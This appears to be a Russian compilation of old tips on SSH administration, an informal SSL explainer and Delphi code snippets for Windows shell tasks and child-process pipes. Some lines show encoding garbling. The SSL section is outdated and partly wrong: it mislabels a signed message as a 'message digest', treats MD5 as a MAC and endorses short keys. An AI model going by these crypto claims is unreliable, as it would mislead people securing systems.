Make-ssh-known-hosts some.domain > /etc/ssh_known_hosts.
Это позволяет найти и записать в файл ssh_known_hosts открытые ключи всех хостов домена some.domain. Утилита имеет, в частности, средства работы с WKS-записями DNS-сервера. Если в этих записях указан признак наличия ssh, то можно сразу отобрать только хосты, поддерживающие ssh. Аналогично можно отобрать хосты, поддерживающие telnet:
Make-ssh-known-hosts some.domain Ё^wks=.*tе1nеtё > our_hosts.
Утилита может работать аналогичным образом с записями hinfo. Механизм ее работы следующий.
Получив от DNS-сервера список отобранных хостов, make-ssh-known-hosts пытается получить открытые ключи каждого из них. Для этого делается попытка соединиться на порт sshd (22 по умолчанию), и если соединение успешно, пытается выполнить на удаленном хосте команду cat /etc/ ssh_host_key.pub. Если это не удается, утилита проверяет, был ли получен ей в сеансе открытый ключ удаленного хоста; если да _ то он и используется (эту возможность можно отменить при вызове сценария).
Демон sshd
Запуск демона sshd обычно происходит автоматически при загрузке операционной системы из командного файла наподобие /etc/rc.local. Поскольку sshd должен сгенерировать ключ еще до установления соединения, что требует определенного времени, sshd не рекомендуют запускать через демон inetd. Однако, если процессор достаточно быстр, и длина ключа мала (меньше 512 разрядов), демон может периодически запускаться через inetd при каждой попытке соединиться на порт 22.
Напомним, что в целях безопасности не рекомендуют применять ключи короче 512 разрядов. При запуске sshd длину ключа можно указать в операнде -b (по умолчанию 768 разрядов). Подчеркнем, что здесь речь идет о ключе сервера (демона sshd), используемом в сеансе, а не о ключе хоста-сервера.
Запуск sshd с операндом -d включает режим отладки, что рекомендуется при проверке работоспособности, поскольку при этом выдается ряд информационных сообщений, позволяющих отслеживать происходящее. При нормальной эксплуатации этот режим следует отключить.
Параметры демон sshd читает из файла /etc/sshd_conf. В нем задаются, в частности, ссылки на файлы ssh_host_key и ssh_random_seed, длина ключа сервера, разрешенные методы шифрования, номер используемого sshd порта, уровень протоколирования работы sshd в системном журнале и др. Обычно этот файл является вполне подходящим, и необходимости его корректировать не возникает.
Клиент ssh
Клиент ssh служит в качестве замены командам rsh и rlogin. Типичная форма вызова ssh выглядит так:
Ssh [-l имя_пользоваетля] ИМЯ_ХОСТА [команда].
Здесь ИМЯ_ПОЛЬЗОВАТЕЛЯ означает имя пользователя на удаленном хосте, с которым происходит соединение (задается операндом ИМЯ_ХОСТА). Операнд КОМАНДА, если он не опущен, указывает выполняемую на удаленном хосте команду.
Команда ssh имеет еще целый ряд операндов. В операнде -с можно указать метод шифрования (idea/blowfish/des/3des/arcfour); в операнде -p указывается номер порта. Операнд -v рекомендуется использовать для получения информации о том, что происходит в процессе установления сеанса, например, при возникновении каких-либо проблем, в первую очередь задержках в соединении.
Два операнда позволяют осуществлять перенаправление портов:
- L ПОРТ:ХОСТ:ПОРТХОСТА.
Позволяет перенаправить ПОРТ локального компьютера на ПОРТХОСТА удаленного компьютера, заданного в аргументе ХОСТ;
-R ПОРТ:ХОСТ:ПОРТХОСТА.
Осуществляет перенаправление ПОРТа на удаленном ХОСТе на порт локального хоста (последний аргумент).
Конфигурационные файлы клиента включают общий файл /etc/ssh_config и личные пользовательские config-файлы. Последние перекрывают_ действие общего файла, и их, в свою очередь, можно заменить явным заданием операндов ssh. В конфигурационном файле задаются такие параметры, как методы шифрования, возможность перенаправления портов, разрешение на использование обычных механизмов rsh/rlogin при невозможности ssh-аутентификации, номер используемого на удаленном сервере порта и др.
Описание протокола SSL (Secure Socket Layer).
| Встретились как-то два командира Нортон и Волков. Нортон как всегда в окружении симпатичных утилиток и с полной сумкой вьюверов, а Волков в гордом одиночестве, но с сознанием собственного совершенства. И зашел между ними спор, кто круче. - Я как брошу файлы с одного компьютера, так через всю комнату летят и в другой попадают, - хвастается Нортон. - А я как ударю по каталогу, так он весь сразу и рассыпается, - хвастает Волков. Так спорили они, спорили, и решили, что только кто-нибудь третий может их рассудить. Видят в сторонке, немного прихрамывая, мужик идет, весь в разукрашенной одежде и изо всех карманов какие-то приспособления торчат. - Эй, мужик, - обратился к нему командир Нортон, - разреши наш спор. - Скажи, кто из нас круче, - подхватил командир Волков. - Вы оба никуда не годитесь, - отвечает мужик, - старые уже, никого удовлетворить не можете, пора вам на свалку. - Да кто ты такой, что нам так говорить! - возмутились командиры. - Я - Дос Навигатор, - ответил мужик. |
Протокол SSL (secure socket layer) был разработан фирмой Netscape, как протокол обеспечивающий защиту данных между сервисными протоколами (такими как HTTP, NNTP, FTP и т.д.) и транспортными протоколами (TCP/IP). Не секрет, что можно без особых технических ухищрений просматривать данные, которыми обмениваются между собой клиенты и серверы. Был даже придуман специальный термин для этого _ Tsniffer. А в связи с увеличением объема использования Интернета в коммерческих целях, неизбежно вставал вопрос о защите передаваемых данных. И пользователи не очень были бы рады, если номер их кредитной карточки, был бы перехвачен, каким ни будь предприимчивым хакером Тпо дороге к виртуальному магазину. И, в общем, появление такого протокола как SSL было вполне закономерным явлением. С одной стороны остаются все возможности сервисных протоколов (для программ-серверов), плюс к этому все данные передаются в зашифрованном виде. И разкодировать их довольно трудно. Опустим здесь возможности взлома SSL (она, безусловно, есть, но это отдельная тема для большой статьи). Следует отметить, что SSL не только обеспечивает защиту данных в Интернете, но так же производит Топознание_ сервера и клиента (Tserver/client authentication_). В данный момент протокол SSL принят W3 консорциумом (W3 Consortium) на рассмотрение, как основной защитный протокол для клиентов и серверов (WWW browsers and servers) в сети Интернет.
Алгоритм работы SSL построен на принципе публичных ключей. Этот принцип построен на использовании пары асимметричных ключей (публичном и приватном) для кодирования/декодирования информации. Публичный ключ раздается всем желающим. И с его помощью шифруются необходимые данные, которые можно дешифровать только с помощью приватного ключа. Отходя от темы, можно сказать, что так оно выглядит в теории. На практике все несколько менее строго. Из-за юридических ограничений на длину ключей, они поддаются взлому, хотя для этого и необходимы достаточно большие вычислительные мощности.
Теперь рассмотрим, каким образом все-таки работает SSL
Представьте себе, что есть два человека, которые общаются посредством Интернета и соответственно не видят друг друга. И лишены возможности, узнать, о том кто же его абонент. Их имена _ Алиса и Боб. Допустим Алисе надо, узнать действительно она разговаривает с Бобом или нет. В этом случае диалог может выглядеть следующим образом:
Алиса отправляет Бобу случайное сообщение. Боб шифрует его с помощью своего приватного ключа и отправляет его Алисе. Алиса дешифрует это сообщение (с помощью публичного ключа Боба). И сравнив это сообщение с посланным, может убедиться в том, что его действительно послал Боб. Но на самом деле со стороны Боба не очень удачная идея шифровать сообщение от Алисы с помощью своего приватного ключа. И возвращать его. Это аналогично подписи документа, о котором Боб мало что знает. С такой позиции Боб должен сам придумать сообщение. И послать его Алисе в двух экземплярах. В первом сообщение передается открытым текстом, а второе сообщение зашифровано с помощью приватного ключа Боба. Такое сообщение называется message digest. А способ шифрования сообщения с помощью своего приватного ключа _ цифровой подписью (digital signature).Теперь закономерно встает вопрос о том, каким образом распространять свои публичные ключи. Для этого (и не только) была придумана специальная форма - сертификат (certificate). Сертификат состоит из следующих частей:
Имя человека/организации выпускающего сертификат. Для кого был выпущен данный сертификат (субъект сертификата). Публичный ключ субъекта. Некоторые временные параметры (срок действия сертификата и т.п.). Сертификат Тподписывается_ приватным ключом человека (или огрганизации), который выпускает сертификаты. Организации, которые производят подобные операции называются _ TCertificate authority (CA). Если в стандартном Web-клиенте (web-browser), который поддерживает SSL, зайти в раздел security. То там можно увидеть список известных организаций, которые Тподписывают_ сертификаты. С технической стороны, создать свою собственную CA достаточно просто. Но против этого могут действовать скорее юридические препятсвия.Теперь рассмотрим, каким образом происходит обмен данными в Интернете. Воспользуемся все теми же действующими лицами.
Алиса: привет. Боб: привет, я Боб (выдает свой сертификат). Алиса: а ты точно Боб? Боб: Алиса я Боб. (Сообщение передается два раза, один раз в открытую, второй раз, зашифрованный с помощью приватного ключа Боба). Алиса: все нормально, ты действительно Боб. (И присылает Бобу секретное сообщение, зашифрованное с помощью публичного ключа Боба). Боб: А вот и мое сообщение (посылает сообщение, которое было зашифровано с помощью секретного ключа, например того же шифрованного сообщения Алисы). Поскольку Боб знает сообщение Алисы, потому что он владеет приватным ключом и Алиса знает, что было в том сообщении. Теперь они могут использовать симметричный шифровальный алгоритм (где в качестве секретного ключа выступает сообщение Алисы) и безбоязненно обмениваться шифрованными сообщениями. А для контроля над пересылкой сообщений (от случайного/преднамеренного изменения) используется специальный алгоритм - Message Authentication Code (MAC). Довольно распространенным является алгоритм MD5. Обычно, и сам MAC-code так же шифруется. В связи с этим достоверность сообщений повышается в несколько раз. И внести изменения в процесс обмена практически невозможно.Теперь несколько слов о реализации SSL. Наиболее распространенным пакетом программ для поддержки SSL _ является SSLeay. Последняя версия (SSLeay v. 0.8.0) поддерживает SSLv3. Эта версия доступна в исходных текстах. И без особых проблем устанавливается под UNIX (я не пробовал ставить SSLeay под операционные системы фирмы Microsoft). Этот пакет предназначен для создания и управления различного рода сертификатами. Так же в его состав входит и библиотека для поддержки SSL различными программами. Эта библиотека необходима, например, для модуля SSL в распространенном HTTP сервере _ Apache. Если Вы устанавливаете версию, вне США, то особых проблем с алгоритмом RSA быть не должно. Но только накладывается ограничение на длину ключа в 40 бит (возможно, на данный момент это ограничение снято, но на пакете SSLeay это никоим образом не отразилось. Действеут это ограничение и на другой пакет от фирмы Netscape - SSLRef). А вот если компьютер с SSLeay находится на территории США, то за использование алгоритма RSA необходимо заплатить какие то деньги. Но об этом нужно разговаривать с самой фирмой RSA Data Security Inc. Я точно не знаю, но по слухам необходимо регистрировать сертификаты в ФСБ. Если кто обладает такой информацией, всегда буду рад узнать.
Подводя итоги, можно сказать, что SSL просто необходим в сфере коммерческого Интернета, особенно там, где нужно обеспечить конфиденциальность данных. На самом деле решение о том насколько необходим такой канал, должен принимать администратор Web-узла. По своему опыту могу сказать, что особо ощутимой нагрузки на сервер, при использовании SSL, не наблюдается.
Инсталляция Screen Saver.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
shellapi;
procedure InstallScreenSaver(const FileName: string);
begin
{ Set this screensaver as default screensaver and open the properties dialog}
ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
PChar('desk.cpl,InstallScreenSaver ' + FileName), nil, SW_SHOWNORMAL);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
InstallScreenSaver('c:\YourScreenSaverFile.scr');
end;
Получить время задержки хранителя экрана.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetScreenSaverTimeout: Integer; begin SystemParametersInfo(SPI_GETSCREENSAVETIMEOUT, 0, @Result, 0); end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage(IntToStr(GetScreenSaverTimeout) + ' Sec.'); end;
Узнаём стандартные папки Windows.
| Если не можете выйти из виндов, есть запасной выход:" Выдерни шнур, выдави стекло...". |
uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.LazyWrite := false;
reg.OpenKey(
'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
false);
ts := TStringList.Create;
reg.GetValueNames(ts);
for i := 0 to ts.Count -1 do begin
Memo1.Lines.Add(ts.Strings[i] +
' = ' +
reg.ReadString(ts.Strings[i]));
end;
ts.Free;
reg.CloseKey;
reg.free;
end;
|
Регистрация программ в меню Пуск Windows.
| Если жёсткий диск не подаёт признаков жизни, значит, на вашем компьютере уже установлена Windows |
Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь - использование DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов - объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:
function TForm2.ProgmanCommand(Command: string): boolean;
var
macrocmd: array[0..88] of char;
begin
DDEClient.SetLink('PROGMAN', 'PROGMAN');
DDEClient.OpenLink; { Устанавливаем связь по DDE }
strPCopy(macrocmd, '[' + Command + ']'); {Подготавливаем ASCIIZ строку }
ProgmanCommand := DDEClient.ExecuteMacro(MacroCmd, false);
DDEClient.CloseLink; { Закрываем связь по DDE }
end;
При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу)
Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы)
Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние)
Показать группу в окне, причем состояние - число, определяющее параметры окна:
1-нормальное состояние + активация
2-миним.+ активация
3-макс. + активация
4-нормальное состояние
5-Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы, Xpos и Ypos - координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного места. HotKey - виртуальный код горячей клавиши. Mimimize - тип запуска, 0-в обычном окне, <>0 - в минимизированном.
DeleteItem(имя раздела)
Удалить раздел с указанным именем в активной группе
Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp, 0, , , '+ path + ',,)');
Где path - строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');
Изменить размер кнопки ПУСК.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
begin
MoveWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil),
300, 0, 80, 22, true);
end;
Создать папку в меню кнопки ПУСК.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
Uses
ShlObj, ActiveX;
procedure FreePidl(pidl: PItemIDList);
var
allocator: IMalloc;
begin
if Succeeded(SHGetMalloc(allocator)) then
begin
allocator.Free(pidl);
{$IFDEF VER100}
allocator.Release;
{$ENDIF}
end;
end;
function CreateFolder(aFolderName: string; aLocation: Integer): Boolean;
var
pIdl: PItemIDList;
hPath: PChar;
begin
Result := False;
if SUCCEEDED(SHGetSpecialFolderLocation(0, aLocation, pidl)) then
begin
hPath := StrAlloc(MAX_PATH);
SHGetPathFromIDList(pIdl, hPath);
SetLastError(0);
CreateDirectory(PChar(hPath + '\\' + aFolderName), nil);
if (GetLastError = 0) or (GetLastError = ERROR_ALREADY_EXISTS) then
Result := True;
FreePIDL(pIdl);
StrDispose(hPath);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CreateFolder('MyProgramgroup', CSIDL_PROGRAMS);
end;
Путь к папке кнопки Пуск.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
ShlObj, ActiveX;
procedure FreePidl(pidl: PItemIDList);
var
allocator: IMalloc;
begin
if Succeeded(SHGetMalloc(allocator)) then
begin
allocator.Free(pidl);
{$IFDEF VER100}
allocator.Release;
{$ENDIF}
end;
end;
function GetStartMenu: string;
var
pidl: PItemIDList;
buf: array[0..MAX_PATH] of Char;
begin
if Succeeded(SHGetSpecialFolderLocation(Form1.Handle, CSIDL_STARTMENU, pidl)) then
SHGetPathFromIDList(pidl, buf);
Result := StrPas(buf);
// The calling application is responsible for freeing the PItemIDList-pointer
// with the Shell's IMalloc interface
FreePIDL(pidl);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetStartMenu;
end;
Как показать не отдельно формируемое меню кнопки ПУСК, а иерархическое содержимое десктопа.
Автор: Александр Малыгин Этот фриварный проект может принести как практическую, так и теоретическую пользу. Фактически это иллюстрация к статье известного гуру Акжана Абдулина "Пространство имен оболочки Windows" (есть в Свитках и на его личном сайте). Именно она послужила толчком и основанием для этой разработки.Идея проста. Хотелось получить в Windows функциональность кнопки Warp оболочки WarpCenter операционной системы OS/2 Warp 4.0 Merlin. Отличается она от кнопки Start Ехрlоrеr'а тем, что показывает не отдельно формируемое меню, а иерархическое содержимое десктопа. То есть, все, что есть на десктопе и во вложенных папках, она разворачивает в виде меню и позволяет запускать. Скачать проект: exe-файл + исходные коды Warp.zip (52 K). Программа ставится в автостарт и помещает свой значок в System Tray. Исходные тексты могут ответить на массу часто задаваемых вопросов о программировании в Windows. Вот некоторые темы: - Получение и использование папок рабочего стола, перечисление всех объектов. - Работа без VCL, использование Win32API. - Организация неконсольной программы без видимого окна. - Работа с "иконкой в Tray" без компонентов ;) - Использование меню из ресурса и меню "ручной сборки", иконки в меню (стиль OWNERDRAW). - Отслеживание изменений в директории (в частности - папка десктопа). - Получение иконок для объектов рабочего стола. - Контекстное меню для объектов рабочего стола. - Операции с идентификаторами объектов оболочки (pidl). - Хранение опций в реестре. - И многое другое. Единственный большой недостаток - отсутствие комментариев. В основу положен принцип "Лучше день потерять, потом за пять минут долететь" (с) мультик. При старте зачитываются все объекты, зато потом меню работает быстро. Некоторые известные спецпапки десктопа по-умолчанию не развертываются во вложенное меню (можно отключить в конфигурации). Диски в "My Computer" тоже не развертываются - было бы слишком много объектов. Изменения на самом десктопе контролируются и запускается процедура перечитывания объектов (во вложенных папках контроля нет). Горячая клавиша вызова меню - Ctrl-Alt-F12. Вызов контекстного меню для выбранного объекта - Ctrl-Enter или правая кнопка мыши. Проект компилируется в D5, первоначально был написан в среде D3 (есть различия в инициализации COM). Программа была разработана в 1999 году в порядке изучения Delphi и методов работы с API и объектами эсплорера. Отдельное спасибо Акжану Абдулину за вышеупомянутую статью о пространстве имен, а также Анатолию Тенцеру за его "конструктор юного любителя иконок в SysTray" (модуль TaskBar.pas - его, без изменений).
Окно в виде звезды.
| Что делать, если система не работает? Программист должен из нее выйти и опять войти. Что делать, если программист не работает? Начальник должен в него войти и выйти. Несколько раз. |
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, jpeg;
type
TForm1 = class(TForm)
Label1: TLabel; //Это метка для отображения времени
Timer1: TTimer; //Это таймер - с помощью него мы отображаем время
Image1: TImage; //Компонент Image - нужен для вывода рисунка на форме
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{Для перемещения формы вне заголовка объявляем процедуру}
procedure WMNCHitTest(var M:TWMNCHitTest);message wm_NCHitTest;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
{Для перемещения формы вне заголовка описываем процедуру}
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
inherited;
if M.Result = htClient then
M.Result := htCaption;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hsWindowRegion, hsWindowRegion2: integer;
p: array [0..11] of TPoint;
begin
p[0].x:=30; p[0].y:=40;
p[1].x:=80; p[1].y:=70;
p[2].x:=95; p[2].y:=20;
p[3].x:=110; p[3].y:=70;
p[4].x:=160; p[4].y:=40;
p[5].x:=130; p[5].y:=85;
p[6].x:=260; p[6].y:=230;
p[7].x:=110; p[7].y:=100;
p[8].x:=95; p[8].y:=200;
p[9].x:=80; p[9].y:=100;
p[10].x:=30; p[10].y:=130;
p[11].x:=60; p[11].y:=85;
hsWindowRegion:=CreatePolygonRgn(P,12,Alternate);
hsWindowRegion2:=CreateEllipticRgn(50,50,140,120);
CombineRgn(hsWindowRegion, hsWindowRegion, hsWindowRegion2, rgn_or);
SetWindowRgn(Handle, hsWindowRegion, true);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Label1.Caption:=TimeToStr(Time);
end;
end.
|
Обработчик события OwnerDraw в компоненте StatusBar.
procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
begin
with statusbar1.Canvas do
begin
Brush.Color := clRed;
FillRect(Rect);
TextOut(Rect.Left, Rect.Top, 'Панель '+IntToStr(Panel.Index));
end;
end;
|
Показ всплывающих подсказок в строке состояния.
Я покажу как сделать так, чтобы строка состояния (Status Bar) показывала все всплывающие подсказки (Hint) элементов управления формы при нахождении курсора мыши в области компонента. Имеется пара решений данной задачи, но в любом случае вы должны создать код для каждой формы (пока я не знаю другого решения). Шаг 1: Расположите TStatusBar на всех формах, где вы хотите увидеть подсказки в строке состояния. Установите свойство SimplePanel в True и присвойте компоненту другое имя (я использую SBStatus). Смотри мой комментарий относительно имени, который я поместил в шаге 4. Шаг 2: Создайте необходимые подсказки в свойствах Hint. Не забудьте вставить '|', если вам необходим длинный текст. Шаг 3:Поместите следующую строку в обработчике события FormCreate вашей формы:
Application.OnHint := DisplayHint; |
Создайте эту процедуру. Пожалуйста обратите внимание на комментарии.
procedure TFrmMain.DisplayHint(Sender: TObject);
var
Counter, NumComps: integer;
begin
with Screen.ActiveForm do
begin
NumComps := ControlCount - 1;
for Counter := 0 to NumComps do
{SBStatus - имя всех моих компонентов TStatusBar.
При необходимости его можно изменить.}
if (TControl(Controls[Counter]).Name = 'SBStatus') then
begin
if (Application.Hint = '') then
{ConWorkingName - используемая константа.
При необходимости ее можно изменить.}
TStatusBar(Controls[Counter]).SimpleText := ConWorkingName
else
TStatusBar(Controls[Counter]).SimpleText := Application.Hint;
break;
end;
end;
end; {DisplayHint}
|
Это все, что вы должны сделать. Если вы хотите придать такую функциональность другим формам, просто поместите на них TStatusBar и установите свойство Hint у необходимых компонентов. Я надеюсь это просто.
Показ всплывающих подсказок в строке состояния 2.
Автор: Иваненко Фёдор Григорьевич Пришло мне письмо:...совет за номером 000306 содержит интересную идею -- выводить Нint'ы не на основную форму, а на активную, я сам до этого не дошел... Но не совсем понятно, чем автору не понравился стандартный метод TForm.FindComponent, существующий со времен Delphi I ? С его использованием метод ShowHint выглядит попроще, да и работает не хуже:
procedure TAnyForm.ShowHint;
var
C: TStatusBar;
begin
// ищем наш StatusBar1 на активной форме
C := TStatusBar(Screen.ActiveForm.FindComponent('StatusBar1'));
// если не найден -- ищем на основной форме
if not Assigned(C) then
C := TStatusBar(Application.MainForm.FindComponent('StatusBar1'));
// если что-то обнаружено -- рисуем на н?м наш текст
if Assigned(C) then
C.SimpleText := ' ' + Application.Hint;
end;
|
Желаю Вам всяческих успехов!
Установить размер шрифта для панели StatusBar.
With StatusBar1.Panels[1] do begin Text := Edit1.Text; Canvas.Font.Size := StatusBar1.Font.Size; Width := Canvas.TextWidth(Text) + 10; end; |
Форма постоянно сверху приложения.
Форма должна иметь нормальный стиль (normal style), необходимо лишь переписать процедуру CreateParams:
procedure TFloatingToolbar.CreateParams( var Params: TCreateParams );
begin
inherited CreateParams( Params );
with Params do
begin
Style := Style or ws_Overlapped;
WndParent := MainForm.Handle;
end;
end;
|
StdIn, StdOut и StdErr. Перенаправление, чтение и запись.
Автор: Горбань С.В. Вообще - я программист молодой, стаж - всего 2 года. И я никак не ожидал, что в век GDI мне придется возится с консолью... Ан нет, пришлось. Начал писать "движок" для собственного сайта. А именно - "Apache 1.x shared module" (dll - линкуется к Апачу и обрабатывает определенные адреса). Написал. Всего три сотни строк. НО умеет кучу всяких полезностей, типа вставлять на страницы данные из файлов (файл в файл), строки и, главное, данные из БД. Все это прекрасно. НО не умеет вставлять результаты работы других файлов (типа как CGI). Ну, думаю, надо сделать. Ага, а как? Вот тут то все и началось... Итак, ЗАДАЧА: запустить процесс (некий файл), передать ему команды и получить от него результаты работы. Вставить полученные результаты на страницу сайта. Причем в целях совместимости механизмы передачи данных ДОЛЖНЫ быть стандартными - StdIn, StdOut, StdErr. Поискал на КД. Нашел вот такую штуку: Как переназначить StdOut в файл для консольной программы запускаемой по CreateProcess Хорошая статья, но мне-то НЕ в ФАЙЛ, а в ПРОГРАММУ надо! Автор (Спасибо ему!!!) предусмотрительно указал ссылки на полезные раздел справки - "Creating a Child Process with Redirected Input and Output". Лезем туда. Ууууух... Круто. В общем, каких-то два дня ковыряния и вуаля! Работает! Получился небольшой такой класс... За кривизну некоторых мест, типа отсутствия проверок - НЕ бить! (по крайней мере ногами :-)). Кому надо - тот сам вставит. (Вот так и рождается "кривой" код. Типа сейчас лень, потом добавлю... Ага... Через час уже забудешь!!!) В общем - перехожу таки к технике дела. Для передачи данных используются "безымянные" (Anonymus) "каналы" (Pipes). Чтобы заставить программу писать в (читать из) канал (а) - просто подменяем соответствующие Std(In, Out, Err). Программа и знать не будет, что ее данные уходят в "трубу" а не на реальную консоль. При создании каналов есть одна ВАЖНАЯ особенность. Создаем-то мы их в своем процессе (Parent) а использовать будем и в дочернем. (Учтите! дочерний процесс НЕ будет знать, что использует КАНАЛ! НО будет его использовать...). Так, вот, чтобы дочерний процесс мог нормально работать - хэндлы канала должны быть НАСЛЕДУЕМЫМИ.Чтобы это обеспечить - надо правильно заполнить структуру SECURITY_ATTRIBUTES используемую при вызове CreatePipe:
New(FsaAttr); FsaAttr.nLength := SizeOf(SECURITY_ATTRIBUTES); FsaAttr.bInheritHandle := True; FsaAttr.lpSecurityDescriptor := nil; |
Заполнили? Молодцы! Теперь создаем каналы (я делаю только два, StdErr мне не нужен):
if not CreatePipe(FChildStdoutRd, FChildStdoutWr, FsaAttr, 0) then //Создаем "читальный" Pipe raise ECreatePipeErr.CreateRes(@sCreatePipeMsg) else if not CreatePipe(FChildStdinRd, FChildStdinWr, FsaAttr, 0) then //Создаем "писальный" Pipe raise ECreatePipeErr.CreateRes(@sCreatePipeMsg) |
Есть еще одна тонкость. У нас Все созданные хэндлы наследуемые! А дочернему процессу понадобятся только два... Поэтому:
// Делаем НЕ наследуемые дубликаты // Это нужно, чтобы не тащить лишние хэндлы в дочерний процесс... if not DuplicateHandle(GetCurrentProcess(), FChildStdoutRd, GetCurrentProcess(), @Tmp1, 0, False, DUPLICATE_SAME_ACCESS) then raise EDuplicateHandleErr.CreateRes(@sDuplicateHandleMsg) else if not DuplicateHandle(GetCurrentProcess(), FChildStdinWr, GetCurrentProcess(), @Tmp2, 0, False, DUPLICATE_SAME_ACCESS) then raise EDuplicateHandleErr.CreateRes(@sDuplicateHandleMsg) |
Дубликаты у нас в Tmp1 и Tmp2, теперь:
CloseHandle(FChildStdoutRd); //Закроем наследуемый вариант "Читального" хэндла CloseHandle(FChildStdinWr); //Закроем наследуемый вариант "Писального" хэндла FChildStdoutRd := Tmp1; //И воткнем их места НЕ наследуемые дубликаты FChildStdinWr := Tmp2; //И воткнем их места НЕ наследуемые дубликаты |
Ура! Теперь можем создавать дочерний процесс!
if not CreateChildProcess(ExeName, CommadLine, FChildStdinRd, FChildStdoutWr) then // Наконец-то! Создаем дочерний процесс! raise ECreateChildProcessErr.CreateRes(@sCreateChildProcessMsg) |
Причем CreateChildProcess - это не API - это моя функция! Вот она:
function TChildProc.CreateChildProcess(ExeName, CommadLine: string; StdIn,
StdOut: THandle): Boolean;
var
piProcInfo: TProcessInformation;
siStartInfo: TStartupInfo;
begin
// Set up members of STARTUPINFO structure.
ZeroMemory(@siStartInfo, SizeOf(TStartupInfo));
siStartInfo.cb := SizeOf(TStartupInfo);
siStartInfo.hStdInput := StdIn;
siStartInfo.hStdOutput := StdOut;
siStartInfo.dwFlags := STARTF_USESTDHANDLES;
// Create the child process.
Result := CreateProcess(nil,
PChar(ExeName + ' ' + CommadLine), // command line
nil, // process security attributes
nil, // primary thread security attributes
TRUE, // handles are inherited
0, // creation flags
nil, // use parent's environment
nil, // use parent's current directory
siStartInfo, // STARTUPINFO pointer
piProcInfo); // receives PROCESS_INFORMATION
end;
|
Здесь важное значение имеют вот эти строчки:
siStartInfo.hStdInput := StdIn; siStartInfo.hStdOutput := StdOut; siStartInfo.dwFlags := STARTF_USESTDHANDLES; |
А дальше - мы можем с ентим процессом общаться! Например вот так:
function TChildProc.WriteToChild(Data: string; Timeout: Integer = 1000): Boolean; var dwWritten, BufSize: DWORD; chBuf: PChar; begin //Обратите внимание на Chr($0D)+Chr($0A)!!! Без них - будет работать с ошибками //На досуге - подумайте почему... //Для тех, кому думать лень - подскажу - это пара символов конца строки. //(вообще-то можно обойтись одним, но так надежнее, программы-то бывают разные) chBuf := PChar(Data + Chr($0D) + Chr($0A)); BufSize := Length(chBuf); Result := WriteFile(FChildStdinWr, chBuf^, BufSize, dwWritten, nil); Result := Result and (BufSize = dwWritten); end; |
Поэтому делаем так:
function TChildProc.ReadStrFromChild(Timeout: Integer): string;
var
i: Integer;
dwRead, BufSize, DesBufSize: DWORD;
chBuf: PChar;
Res: Boolean;
begin
try
BufSize := 0;
New(chBuf);
repeat
for i := 0 to 9 do
begin
Res := PeekNamedPipe(FChildStdoutRd, nil, 0, nil, @DesBufSize, nil);
Res := Res and (DesBufSize > 0);
if Res then
Break;
Sleep(Round(Timeout / 10));
end;
if Res then
begin
if DesBufSize > BufSize then
begin
FreeMem(chBuf);
GetMem(chBuf, DesBufSize);
BufSize := DesBufSize;
end;
Res := ReadFile(FChildStdoutRd, chBuf^, BufSize, dwRead, nil);
Result := Result + LeftStr(chBuf, dwRead);
end;
until not Res;
except
Result := 'Read Err';
end;
end;
|
В общем, кому лень разбираться - вот вам исходники модуля с готовым классом. А вот пример его использования:
with TChildProc.Create(ReadIni(TagParams.Values['file'], FPage),
TagParams.Values['cmd']) do
try
WriteToChild(TagParams.Text);
ReplaceText := ReadStrFromChild;
finally
Free;
end;
|
Скачать:
Исходный код проекта StdSource.zip (6 K) Исполняемый код (пример) StdExe.zip (207 K)Липкие окошки.
| Едет программист в такси. Вдруг машина останавливает и дальше ну никак не едет. Водитель и так, и эдак... Программист и советует: - А вы закройте лишние окна. Поможет... |
В статье рассматривается приём создания обработчиков сообщений, которые позволяют форме при перетаскивании "прилипать" к краям экранной области.
